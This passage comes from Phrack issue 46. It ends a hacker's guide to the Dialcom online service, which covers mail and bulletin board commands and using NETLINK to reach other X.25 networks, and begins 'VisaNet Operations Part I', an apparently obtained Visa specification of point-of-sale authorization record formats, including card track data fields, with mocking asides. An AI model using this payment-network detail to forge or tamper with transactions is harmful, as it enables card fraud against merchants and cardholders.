`SYS' Displays account information and system number. Output:

<S666‑6>HBT007 on system 666.

`TERM' Used to tell the Dialcom computer what terminal the user is using. A list of supported terminals is generated by "TERM TERMINALS". TERM options are:

TYPE <terminal type> (TYPE VT100)

WIDTH <width> (Terminal width, if different

than default)

TOP (Start listings at top of screen) PAUSE (Pause listings when screen is

full)

‑ERASE, ‑KILL <char> (Sets the erase or kill character) ‑BREAK <ON|OFF> (Enables or disables BREAKs) ‑HALF or ‑FULL (Half duplex of full duplex) ‑DISPLAY (Output current terminal information)

`WHO' Displays account information. Output:

<S666‑6>HBT007

Which means user HBT007 on system 666 on device 6.

Communicating on Dialcom

~~~~~~~~~~~~~~~~~~~~~~~

Users who want to communicate on Dialcom have two choices, basically. These are the Dialcom bulletin board and electronic mail. The Dialcom bulletin board has two versions. The first consists of several message bases (called ``categories'') which are shared between some Dialcom systems (and mostly used by bored employees, it seems); there are also private bulletin boards, which are not shared between the systems. They belong to account groups, and only users in an account group can access that group's bulletin board system. These version of the Dialcom board are often empty (they have no categories defined and hence are unusable).

This is accessed by the command POST (PRPOST for the private board). Once POST is activated, it will display a prompt:

Send, Read or Purge:

If the answer is READ, POST will ask for a category (a list of categories will be displayed if you type HELP at that prompt). Once a category has been joined, you will be able to read through the messages there:

Subject: ?

From: HBT007 Posted: Sat 32‑July‑94 16:47 Sys 666

quit

/q

/quit

Continue to Next Item?

Answering SEND at the first prompt will allow you to send a message in a category.

Answering PURGE will allow you to delete messages post by your account. When you enter PURGE and the category to purge message from, the system will show you any posts that you are allowed to purge, followed by a "Disposition:" prompt. Enter DELETE to delete the message.

The second way to communicate is the Dialcom MAIL system. MAIL allows sending and receiving messages, it allows for mailing lists, filing mail into categories, holding mail to read later and so on. MAIL is invoked by entering, uh... oh, yes, MAIL.

It works along similar lines to those of POST, and will display the following prompt:

Send, Read or Scan:

SEND: Allows you to send a message. It will prompt with "To:", "Subject:" and "Text:" (where you enter the actual message, followed by ".SEND" on a blank line to end). After a message is sent, the "To:" prompt will appear again ‑‑ use "QUIT" to leave it.

A word about the "To:" prompt. There are two configuration files which make its use easier. First the MAIL.REF file, which is really a mailing list file. It contains entries in the format of ‑‑

<Nick> <Accounts>

DOODZ DVR014 ABC0013 XYZ053

‑‑ and at the "To:" prompt, you can just enter "DOODZ" and the message will be sent to all three accounts. When you enter a name, MAIL searches through your MAIL.REF, and then through the account administrator's, and only then parses it as an account name. Second is the mail directory, which contains the names and account IDs of many users the account is in contact with. To display it, type "DIS DIR" at the first prompt. You'll get something like this:

HERD‑BEAST 6666:HBT007 WE'RE BAD AND WE'RE KRAD

Which means you can type "HERD‑BEAST" at the prompt, and not just HBT007. Also, there are special options for the "To:" prompt, most notable are: CC to send a carbon copy; EX to send the message with ``express priority''; DAR to request that if the message is sent to a user on another Dialcom system, POSTMASTER will send you a message verifying that your message has been sent; and NOSHOW, to keep the receiver from seeing everybody else on the "To:" list. For example (all these people are in the mail directory),

To: DUNKIN D.DREW CC FOLEY NOSHOW EX

You enter the message about to be sent at the "Text:" prompt. That mode accepts several commands (like .SEND), all of which begin with a dot. Any command available at the "To:" prompt is available here. For example, you can add or remove names from to "To:" field using ".TO <ids>" or ".TO ‑<ids>", and add a CC using ".CC <id>".

You also have a display command, ".DIS". ".DIS" alone shows the text entered so far; ".DIS TO" shows the "To:" field; ".DIS HE" shows the entire header; etc. Finally, you have editing option. ".ED" will load editing mode, so you can change the text you entered. ".LOAD <filename>" will load <filename> into the text of the message. ".SP" will check the spelling of text in the message, and there are other commands.

READ: Allows you to read mail in your mailbox. Once you enter READ, MAIL will display the header of the first message in your mailbox (or "No mail at this time") followed by a "‑‑More‑‑" prompt. To read the message, press <CR>; otherwise, enter NO. After you are done reading a message, you will be prompted with the "Disposition:" prompt, where you must determine what to do with the message. There you can enter several commands: AGAIN to read the message again; AG HE to read the header again; AP REPLY to reply to the message and append the original message to the reply; AP FO to forward the message to someone and add your comments to it; REPLY to reply to the sender of the message; REPLY ALL to reply to everybody on the "To:" field; FILE to file the message; SA to save the message into a text file; NEXT to read the next message in your mailbox; and D to delete the message.

SCAN: Allows you see a summary of the messages in the mailbox. Both READ and SCAN have options that allow you to filter the messages you want to read: FR <ids> to get only messages from <ids>; TO <ids> to get only messages sent to <ids>; 'string' to get only messages containing ``string'' in the "Subject:" field; "string" to get only messages containing ``string'' in the message itself; FILE CATEGORY to get only messages filed into ``CATEGORY''; and DA Month/Day/Year to get only messages in that date (adding a '‑' before or after the date will get you everything before or after that date, and it's also possible to specify two dates separated by a '‑' to get everything between those dates. For example, to get all of Al Gore's messages about Clipper before August 13th:

READ FILE CLIPPER FR GOR 'Great stuff' DA ‑8/13/94

There is also a QS (QuickScan) command that behaves the same as SCAN, only SCAN shows the entire header, and QS just shows the "From:" field.

However, there is more to do here than just send, read or scan. Some of it was mentioned when explaining these commands. Both sent and received messages can be saved into a plain text file or into a special mailbox file, called MAIL.FILE. Messages filed into the MAIL.FILE can be grouped into categories in that file.

SAVING MESSAGES: Messages are saved by entering "SA filename" at a prompt. For sent message, it's the "Text:" prompt, while entering the message, and the command is ".SA", not "SA". For received message, it's either the "‑‑More‑‑" or the "Disposition:" prompt.

FILING MESSAGES: Messages are filed in two cases. First, the user can file any message into any directory, and second, the system files read messages that lay in the mailbox for over 30 days. Received messages are filed by entering "FILE" at the "Disposition:" prompt. This files the message into a miscellaneous category called BOX. If an optional <category‑name> is added after "FILE", the message will be filed into that category. If <category‑name> doesn't exist, MAIL can create it for you. After a message has been filed, it's not removed from the mailbox ‑‑ that's up to the user to do. Sent messages behaved the same way, but the command is ".FILE" from the "Text:" prompt.

To display categories of filed mail, enter DIS FILES at a prompt. To read or scan messages in filed, just add "FILE <category‑name> after the command (READ, SCAN, etc). To delete a category, enter D FILE <category‑name>. To delete a single message in a category, just use D as you would on any other message, after you read it from the MAIL.FILE.

Connecting via Dialcom

~~~~~~~~~~~~~~~~~~~~~

Dialcom allows its customers to access other systems through it. There are some services offered specifically through Dialcom, such as the BRS/MENUS service, which is an electronic library with databases about many subjects, Telebase's Cyclopean Gateway Service, which offers access to many online database services (like Newsnet, Dialog and even BRS) and more. These services have a direct connection to Dialcom and software that maps Dialcom user ids to their own ids (it's not usually possible for someone to access one of these services without first connecting to Dialcom).

Another method is general connection to X.25 addresses. Since Dialcom is connected to X.25, and it allows users to use the Prime NETLINK commands, it's possible to PAD out of Dialcom!!#!

NETLINK is invoked by entering NETLINK. NETLINK then displays its own, '@' prompt. The commands available there are QUIT, to quit back to the OS; CONTINUE, to return to an open connection; CALL, to call an address; and D, to disconnect an open connection.

CALL takes addresses in several formats. A system name, to connect to a Dialcom system, or an address in the format of DNIC:NUA. For example,

@ CALL :666

Circuit #1

666 Connected

[...]

@ CALL 3110:21300023

Circuit #2

21300023 Connected

[...]

NETLINK establishes connections in the form of circuits. A circuit can be broken out of into command mode (the '@' prompt), using "<CR>@<CR>", and another can be opened, or parameters can be changed, etc. NETLINK has other commands, to log connections into a file, or set PAD parameters (SET, PAR), or turn on connection debugging, or change the default '@' prompt, and more.

Things to Do on Dialcom

~~~~~~~~~~~~~~~~~~~~~~

Much of what Dialcom offers was not covered until now and will not be covered. That's because most the services could use a file each, and because many account groups have things enabled or disabled just for them. Instead, I will write shortly about two of the more interesting things online, the news service and clipping service, and add pointers to some interesting commands to try out.

The news service, accessed with the NEWS command, is a database of newswires from AP, Business Wire, UPI, Reuters and PR Newswire. The user enters the database, and can search for news by keywords.

After entering NEWS, you will see a menu of all the news agencies. Once you choose an agency, you will enter its menu, which sometimes contains a copyright warning and terms of usage and also the list of news categories available from that agency (National, North America, Business, Sports, etc). Once you choose the category, you will be asked for the keyword to search for. If a story (or several stories) was found containing your desired keyword, you can read through the stories in the order of time, or the order they appear, or reverse order and so on, and finally mail a story to yourself, or enter new search keywords, or jump to another story, or simply quit.

The news clipping service, available with the command NEWSTAB, allows the user to define keyword‑based rules for selecting news clippings. The system then checks every newswire that passes through it, and if it matches the rules, mails the newswire to the user.

After entering NEWSTAB, you are presented with a menu that allows you to show, add, delete, and alter your rules for choosing news. The rules are made using words or phrases, logical operators, wildcards and minimal punctuation. A rule can be as simple as "HACKING", which will get every newswire with the word "hacking" in it mailed to you, or if you want to be more selective, "NASA HACKING". Logical operators are either AND or OR. For example, "HACKING AND INTERNET". Wildcards are either '*' or '?' (both function as the same). They simple replace any number of letters. Punctuation is permitted for initials, abbreviations, apostrophes or hyphens, but not for question marks and similar. All of this is explained in the NEWSTAB service itself.

For the file hungry, Dialcom offers several file transfer programs, including KERMIT and Dialcom's FT, which implements most popular protocols, like Zmodem, Xmodem, etc.

A small number of other fun things to try:

NET‑TALK The ``interactive computer conferencing system'' ‑‑ build your private IRC!

CRYPTO Dialcom's encryption program. Something they're probably going to love on sci.crypt.

NUSAGE By far one of the better things to do on Dialcom, it was left out of this file because it is simply huge. This program allows the user (typically an administrator) to monitor network usage, sort the data, store it, peek into all the little details (virtual connection types, remote/local addresses, actions, time, commands, etc). Unfortunately, it's completely beyond the scope of this file, as there are tons of switches and options to use in order to put this program to effective use.

VisaNet Operations Part I

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 15 of 28

****************************************

visanetoperations; part1

obtainedandcompiled

by

icejey

/

lowerfeldafederationforundercasing iiu delamolabz chuchofthenoncomformist

&

theilluminatibarbershopquartet

greetz2; drdelam maldoror greenparadox kaleidox primalscream reddeath kerryk ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [ typed in true(c) 80 columns] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [ comments appear in []s ] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ section one ]

[ from the word of god ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |

| \\\\\ ///// ///// /

| \\\\\ ///// ///// //

| \\\\\ ///// ///// ///

| \\\\\/// /////

| \\\\\/ ///// //////

| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EXTERNAL INTERFACE SPECIFICATION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SECOND GENERATION

AUTHORIZATION RECORD FORMATS

For Record Formats

‑‑‑‑‑‑‑‑‑‑‑‑‑

J ‑ PS/2000 REPS

G ‑ VisaNet Dial Debit

1.0 INTRODUCTION

2.0 APPLICABLE DOCUMENTS

2.01 RELATED VISA DOCUMENTS FOR AUTHORIZATION

2.02 RELATED VISA DOCUMENTS FOR DATA CAPTURE

3.0 AUTHORIZATION RECORD FORMATS

3.01 REQUEST RECORD FORMAT

3.02 RESPONSE RECORD FORMAT

4.0 REQUEST RECORD DATA ELEMENT DEFINITIONS

4.01 RECORD FORMAT

4.02 APPLICATION TYPE

4.03 MESSAGE DELIMITER

4.04 ACQUIRER BIN

4.05 MERCHANT NUMBER

4.06 STORE NUMBER

4.07 TERMINAL NUMBER

4.08 MERCHANT CATEGORY CODE

4.09 MERCHANT COUNTRY CODE

4.10 MERCHANT CITY CODE

4.11 TIME ZONE DIFFERENTIAL

4.12 AUTHORIZATION TRANSACTION CODE

4.13 TERMINAL IDENTIFICATION NUMBER

4.14 PAYMENT SERVICE INDICATOR

4.15 TRANSACTION SEQUENCE NUMBER

4.16 CARDHOLDER IDENTIFICATION DATA

4.17 ACCOUNT DATA SOURCE

4.18 CUSTOMER DATA FIELD

4.18.1 TRACK 1 READ DATA

4.18.2 TRACK 2 READ DATA

4.18.3 MANUALLY ENTERED ACCOUNT DATA (CREDIT CARD) 4.18.3.1 MANUALLY ENTERED ACCOUNT NUMBER 4.18.3.2 MANUALLY ENTERED EXPIRATION DATE

4.18.4 CHECK ACCEPTANCE IDENTIFICATION NUMBER 4.18.4.1 CHECK ACCEPTANCE ID

4.18.4.2 MANUALLY ENTERED CHECK ACCEPTANCE DATA

4.19 FIELD SEPARATOR

4.20 CARDHOLDER IDENTIFICATION DATA

4.20.1 STATIC KEY WITH TWENTY THREE BYTE CARDHOLDER ID 4.20.2 STATIC KEY WITH THIRTY TWO BYTE CARDHOLDER ID 4.20.3 DUK/PT KEY WITH THIRTY TWO BYTE CARDHOLDER ID 4.20.4 ADDRESS VERIFICATION SERVICE DESCRIPTION [hmmm...] 4.21 FIELD SEPARATOR

4.22 TRANSACTION AMOUNT

4.23 FIELD SEPARATOR

4.24 DEVICE CODE/INDUSTRY CODE

4.25 FIELD SEPARATOR

4.26 ISSUING INSTITUTION ID/RECEIVING INSTITUTION ID

4.27 FIELD SEPARATOR

4.28 SECONDARY AMOUNT (CASHBACK)

4.29 FIELD SEPARATOR

4.30 MERCHANT NAME

4.31 MERCHANT CITY

4.32 MERCHANT STATE

4.33 SHARING GROUP

4.34 FIELD SEPARATOR

4.35 MERCHANT ABA NUMBER

4.36 MERCHANT SETTLEMENT AGENT NUMBER

4.37 FIELD SEPARATOR

4.38 AGENT NUMBER

4.39 CHAIN NUMBER

4.40 BATCH NUMBER

4.41 REIMBURSEMENT ATTRIBUTE

4.42 FIELD SEPARATOR

4.43 APPROVAL CODE

4.44 SETTLEMENT DATE

4.45 LOCAL TRANSACTION DATE

4.46 LOCAL TRANSACTION TIME

4.47 SYSTEM TRACE AUDIT NUMBER

4.48 ORIGINAL AUTHORIZATION TRANSACTION CODE

4.49 NETWORK IDENTIFICATION CODE

4.50 FIELD SEPARATOR

5.0 RESPONSE RECORD DATA ELEMENT DEFINITIONS

5.01 PAYMENT SERVICE INDICATOR

5.02 STORE NUMBER

5.03 TERMINAL NUMBER

5.04 AUTHORIZATION SOURCE CODE

5.05 TRANSACTION SEQUENCE NUMBER

5.06 RESPONSE CODE

5.07 APPROVAL CODE

5.08 LOCAL TRANSACTION DATE

5.09 AUTHORIZATION RESPONSE CODE

5.10 AVS RESULT CODE

5.11 TRANSACTION IDENTIFIER

5.12 FIELD SEPARATOR

5.13 VALIDATION CODE

5.14 FIELD SEPARATOR

5.15 NETWORK IDENTIFICATION CODE

5.16 SETTLEMENT DATE

5.17 SYSTEM TRACE AUDIT NUMBER

5.18 RETRIEVAL REFERENCE NUMBER

5.19 LOCAL TRANSACTION TIME

6.0 CONFIRMATION RECORD DATA ELEMENT DEFINITIONS

6.01 NETWORK IDENTIFICATION CODE

6.02 SETTLEMENT DATE

6.03 SYSTEM TRACE AUDIT NUMBER

7.0 CHARACTER CODE DEFINITIONS

7.01 TRACK 1 CHARACTER DEFINITION

7.02 TRACK 2 CHARACTER DEFINITION

7.03 AUTHORIZATION MESSAGE CHARACTER SET

7.04 CHARACTER CONVERSION SUMMARY

7.05 ACCOUNT DATA LUHN CHECK

7.06 CALCULATING AN LRC

7.07 TEST DATA FOR RECORD FORMAT "J"

7.07.1 TEST DATA FOR A FORMAT "J" AUTHORIZATION REQUEST 7.07.2 RESPONSE MESSAGE FOR TEST DATA

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1.0 INTRODUCTION

This document describes the request and response record formats for the VisaNet second generation Point‑Of‑Sale (POS) authorization terminals and VisaNet Authorization services. This document describes only record formats. Other documents describe communication protocols and POS equipment processing requirements. Figure 1.0 represents the authorization request which is transmitted to VisaNet using public communication services and the authorization response returned by VisaNet. Debit transactions include a third confirmation message.

POS DEVICE VISANET

‑‑‑‑‑‑‑‑‑‑

AUTHORIZATION

REQUEST

| TRANSMITTED TO A

|‑‑‑‑‑‑‑‑‑‑> VISANET AUTHORIZATION AUTHORIZATION RESPONSE HOST SYSTEM |

RETURNED BY THE | VISANET HOST TO <‑‑‑‑‑‑‑‑| THE POS TERMINAL

DEBIT RESPONSE

CONFIRMATION‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>TRANSMITTED TO HOST SYSTEM

FIGURE 1.0

Authorization request and response.

This document describes the record formats to be used for the development of new applications. Current formats or transition formats will be provided on request. The usage of some fields have changed with the new record formats. Applications which were developed to previous specifications will continue to be supported by VisaNet services. The new formats and field usage is provided with the intention of moving all new applications developed to the new formats.

2.0 APPLICABLE DOCUMENTS

The following documents provide additional definitions and background.

2.01 RELATED VISA DOCUMENTS FOR AUTHORIZATION

1. EIS1051 ‑ External Interface Specification Second Generation

Authorization Link Level Protocol

2.02 RELATED VISA DOCUMENTS FOR DATA CAPTURE

1. EIS1081 ‑ External Interface Specification Second Generation

Data Capture Record Formats

2. EIS1052 ‑ External Interface Specification Second Generation

Data Capture Link Level Protocol

3.0 AUTHORIZATION RECORD FORMATS

This section contains the record formats for the authorization request, response and confirmation records. The ANSI X3.4 character set is used to represent all record data elements. (See Section 7)

In the record formats on the following pages, the column heading FORMAT is defined as:

"NUM" represents numeric data, the numbers 0 through 9, NO SPACES. "A/N" represents alphanumeric data, the printing character set. "FS" represents a field separator character as defined in ANSI X3.4 as a "1C" hex

3.01 REQUEST RECORD FORMAT

Table 3.01b provides the record format for the authorization request records. Section 4 provides the data element definitions.

The authorization request record is a variable length record. The record length will depend on the source of the customer data and the type of authorization request. Refer to Table 3.01c to determine which GROUPS to use from Table 3.01a

TABLE 3.01a IS PROVIDED FOR REFERENCE REASONS ONLY. ALL NEW APPLICATIONS SHOULD USE ONE OF THE FOLLOWING RECORD FORMATS:

RECORD | APPLICATION |

FORMAT | TYPE | REMARKS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

J | CREDIT | All non‑ATM card transactions (Visa cards, other credit | | cards, private label credit cards and check guarantee) G | DIAL DEBIT | Visa supported ATM debit cards

The selection of format type J and G or any other value from Table 3.01a will depend on the VisaNet services that are desired. Contact your Visa POS member support representative for assistance in determining the required formats.

TABLE 3.01a

Record Format Summary

Non‑CVV CVV Terminal

Compliant Compliant Generation Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 RESERVED

1 N First Vutran

2 8 First Sweda

4 R First Verifone

6 P First Amex

7 3 First Racal

A Q First DMC

B R First GTE & Omron [velly intelestink] C 9 First Taltek

S U First Datatrol ‑ Standard Oil

D T First Datatrol

E RESERVED

5 F Second Non‑REPS‑Phase 1 CVV G Second Dial Debit

H Second Non‑REPS‑Phase 2 CVV I Second RESERVED ‑ Non‑REPS Controller J Second REPS ‑ Terminal & Controller K Second RESERVED

L Second RESERVED ‑ Leased VAP M Second RESERVED ‑ Member Format N‑O RESERVED

V‑Y RESERVED

Z Second RESERVED ‑ SDLC Direct [hmmm]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 3.01b

Second Generation Authorization Request Record Format

see

Group Byte# Length Format Name section

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 1 A/N Record Format 4.01 2 1 A/N Application Type 4.02 3 1 A/N Message Delimiter 4.03

4‑9 6 NUM Acquirer Bin 4.04

10‑21 12 NUM Merchant Number 4.05

22‑25 4 NUM Store Number 4.06

26‑29 4 NUM Terminal Number 4.07 30‑33 4 NUM Merchant Category Code 4.08 34‑36 3 NUM Merchant Country Code 4.09 37‑41 5 A/N Merchant City Code (ZIP in the U.S.) 4.10 42‑44 3 NUM Time Zone Differential 4.11 45‑46 2 A/N Authorization Transaction Code 4.12 47‑54 8 NUM Terminal Identification Number 4.13 55 1 A/N Payment Service Indicator 4.14 56‑59 4 NUM Transaction Sequence Number 4.15 60 1 A/N Cardholder Identification Code 4.16 61 1 A/N Account Data Field 4.17 Variable 1‑76 Customer Data Field 4.18.x

(See: DEFINITIONS in Table 3.01d)

Variable 1 "FS" Field Separator 4.19 Variable 0‑32 A/N Cardholder Identification Data 4.20 Variable 1 "FS" Field Separator 4.21 Variable 3‑12 NUM Transaction Amount 4.22 Variable 1 "FS" Field Separator 4.23 Variable 2 A/N Device Code/Industry Code 4.24 Variable 1 "FS" Field Separator 4.25 Variable 0‑6 NUM Issuing/Receiving Institution ID 4.26 I Variable 1 "FS" Field Separator 4.27 Variable 3‑12 NUM Secondary Amount (Cashback) 4.28 II Variable 1 "FS" Field Separator 4.29 Variable 25 A/N Merchant Name 4.30 Variable 13 A/N Merchant City 4.31 Variable 2 A/N Merchant State 4.33 Variable 1‑14 A/N Sharing Group 4.33 Variable 1 "FS" Field Separator 4.34

Variable 0‑12 NUM Merchant ABA 4.35

Variable 0‑4 NUM Merchant Settlement Agent Number 4.36 Variable 1 "FS" Field Separator 4.37

Variable 6 NUM Agent Number 4.38

Variable 6 NUM Chain Number 4.39

Variable 3 NUM Batch Number 4.40

Variable 1 A/N Reimbursement Attribute 4.41 III Variable 1 "FS" Field Separator 4.42 Variable 6 A/N Approval Code 4.43 Variable 4 NUM Settlement Date (MMDD) 4.44 Variable 4 NUM Local Transaction Date (MMDD) 4.45 Variable 6 NUM Local Transaction Time (HHMMSS) 4.46 Variable 6 A/N System Trace Audit Number 4.47 Variable 2 A/N Original Auth. Transaction Code 4.48 Variable 1 A/N Network Identification Code 4.49 IV Variable 1 "FS" Field Separator 4.50

NOTE: The maximum length request can be as long as 290 bytes for an Interlink Debit Cancel request (including the STX/ETX/LRC). Since some terminals may be limited to a 256 byte message buffer, the following tips can save up to 36 bytes:

‑ Limit fields 4.22 and 4.28 to 7 digits

‑ Fields 4.26, 4.35 and 4.36 are not required for a debit request ‑ Field 4.33 can be limited to 10 bytes

TABLE 3.01C

Legend for GROUP (from Table 3.01b)

FOR THESE TRANSACTIONS, USE‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>GROUPS RECORD

I II III IV FORMAT

Check guarantee X J

Non‑ATM card transactions (Visa cards, other X X J credit cards, private label credit cards

Visa supported ATM debit cards: Purchase, Return X X X G and Inquiry Request

Visa supported ATM debit cards: Interlink Cancel X X X X G Request

TABLE 3.01d

Definitions for Customer Data Field (from Table 3.01b)

Length Format Field Name See

Section

MAGNETICALLY read credit cards (SELECT ONE):

up to 76 A/N Track 1 Read Data 4.18.1 up to 37 NUM Track 2 Read Data 4.18.2

MANUALLY entered credit cards:

up to 28 NUM Manually Entered Account Number 4.18.3.1 1 "FS" Field Separator

4 NUM Manually Entered Expiration Date (MMYY) 4.18.3.2

MACHINE read and MANUALLY entered check acceptance requests:

1 to 28 A/N Check Acceptance ID 4.18.4.1 1 "FS" Field Separator 4.18.4.2 3 to 6 A/N Manually Entered Check Acceptance Data 4.18.4.2

MAGNETICALLY read ATM debit cards:

up to 37 NUM Track 2 Read Data 4.18.2

3.02 RESPONSE RECORD FORMAT

Table 3.02a provides the record format for the authorization response records. Section 5 provides the data element definitions.

The authorization response record is variable length for record formats "J" & "G". Refer to Table 3.02b to determine which GROUPS to use from Table 3.02a.

Table 3.02a

Second Generation Authorization Response Record

see

Group Byte# Length Format Name section

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 1 A/N Payment Service Indicator 5.01

2‑5 4 NUM Store Number 5.02

6‑9 4 NUM Terminal Number 5.03 10 1 A/N Authorization Source Code 5.04 11‑14 4 NUM Transaction Sequence Number 5.05 15‑16 2 A/N Response Code 5.06 17‑22 6 A/N Approval Code 5.07 23‑28 6 NUM Local Transaction Date (MMDDYY) 5.08 29‑44 16 A/N Authorization Response Message 5.09 45 1 A/N AVS Result Code 5.10 Variable 0/15 NUM Transaction Identifier 5.11 Variable 1 "FS" Field Separator 5.12 Variable 0/4 A/N Validation Code 5.13 I Variable 1 "FS" Field Separator 5.14 Variable 1 A/N Network Identification Code 5.15 Variable 4 NUM Settlement Date (MMDD) 5.16 Variable 6 A/N System Trace Audit Number 5.17 Variable 12 A/N Retrieval Reference Number 5.18 II Variable 6 NUM Local Transaction Time (HHMMSS) 5.19

Table 3.02b

Legend for GROUP (from Table 3.02a)

FOR THESE TRANSACTIONS, USE‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>GROUPS RECORD

I II FORMAT

All non‑ATM card transactions (Visa cards, other credit X J cards, private label credit cards and check guarantee)

Visa supported ATM debit cards: Purchase, Return, Inquiry X X G Request and Interlink Cancel Request

3.03 CONFIRMATION RECORD FORMAT (ATM DEBIT ONLY)

Table 3.03 provides the record format for the second generation debit response confirmation record. Section 6 provides the data element definitions.

The debit response confirmation record is a fixed length record.

TABLE 3.03

Second Generation Debit Response Confirmation Record

see

Group Byte# Length Format Name section

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 1 A/N Network ID Code 6.01 2‑5 4 NUM Settlement Date (MMDD) 6.02 I 6‑11 6 A/N System Trace Audit Number 6.03

4.0 REQUEST RECORD DATA ELEMENT DEFINITIONS

The following subsections will define the authorization request record data elements.

4.01 RECORD FORMAT

There are several message formats defined within the VisaNet systems. The second generation authorization format is specified by placing one of the defined values in the record format field. Table 4.01 provides a brief summary of the current formats.

TABLE 4.01

VisaNet Authorization Record Format Designators

RECORD FORMAT RECORD DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

J All non‑ATM card transactions (Visa cards, other credit cards, private label credit cards and check guarantee) G Visa supported ATM debit cards

4.02 APPLICATION TYPE

The VisaNet authorization system supports multiple application types ranging from single thread first generation authorization to interleaved leased line authorization processing. Table 4.02 provides a summary of application type.

TABLE 4.02

VisaNet Application Designators

APPLICATION USE WITH

TYPE APPLICATION DESCRIPTION REC. FMT.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 Single authorization per connection J and G 2 Multiple authorizations per connection J and G single‑threaded

4 Multiple authorizations per connect, J interleaved

6 Reserved for future use ‑‑‑

8 Reserved for future use ‑‑‑

1,3,5,7 Reserved for VisaNet Central Data Capture (CDC) ‑‑9 Reserved for VisaNet Down Line Load ‑‑‑

A‑Z Reserved for future use ‑‑

4.03 MESSAGE DELIMITER

The message delimiter separates the format and application type designators from the body of the message. The message delimiter is defined as a "." (period)

4.04 ACQUIRER BIN

This field contains the Visa assigned six‑digit Bank Identification Number (BIN) The acquirer BIN identifies the merchant signing member that signed the merchant using the terminal.

NOTE: The merchant receives this number from their signing member.

4.05 MERCHANT NUMBER

This field contains a NON‑ZERO twelve digit number, assigned by the signing member and/or the merchant, to identify the merchant within the member systems. The combined Acquirer BIN and Merchant Number are required to identify the merchant within the VisaNet systems.

4.06 STORE NUMBER

This field contains a NON‑ZERO four‑digit number assigned by the signing member and/or the merchant to identify the merchant store within the member systems. The combined Acquirer BIN, Merchant Number, and Store Number are required to identify the store within the VisaNet systems.

4.07 TERMINAL NUMBER

This field contains a NON‑ZERO four‑digit number assigned by the signing member and/or the merchant to identify the merchant store within the member systems. This field can be used by systems which use controllers and/or concentrators to identify the devices attached to the controllers and/or concentrators.

4.08 MERCHANT CATEGORY CODE

This field contains a four‑digit number assigned by the signing member from a list of category codes defined in the VisaNet Merchant Data Standards Handbook to identify the merchant type.

4.09 MERCHANT COUNTRY CODE

This field contains a three‑digit number assigned by the signing member from a list of country codes defined in the VisaNet V.I.P. System Message Format Manuals to identify the merchant location country.

4.10 MERCHANT CITY CODE

This field contains a five character code used to further identify the merchant location. Within the United States, the give high order zip code digits of the address of the store location are used. Outside of the United States, this field will be assigned by the signing member.

4.11 TIME ZONE DIFFERENTIAL

This field contains a three‑digit code used to calculate the local time within the VisaNet authorization system. It is calculated by the signing member, providing the local time zone differential from Greenwich Mean Time (GMT). The first two digits specify the magnitude of the differential. Table 4.11 provides a brief summary of the Time Zone Differential codes.

TABLE 4.11

Time Zone Differential Code Format

Byte # Length Format Contents

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 1 NUMERIC DIRECTION

0 = Positive, Local Ahead of GMT,

offset in hours

1 = Negative, Local Time behind GMT,

offset in hours

2 = Positive, offset in 15 minute

increments

3 = Negative, offset in 15 minute

increments

4 = Positive, offset in 15 minute

increments, participating in

daylight savings time

5 = Negative, offset in 15 minute

increments, participating in

daylight savings time

6‑9 = INVALID CODES

2‑3 2 NUMERIC MAGNITUDE

For Byte #1 = 0 or 1

0 <= MAGNITUDE <= 12

For Byte #1 = 2 through 5

0 <= MAGNITUDE <= 48

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

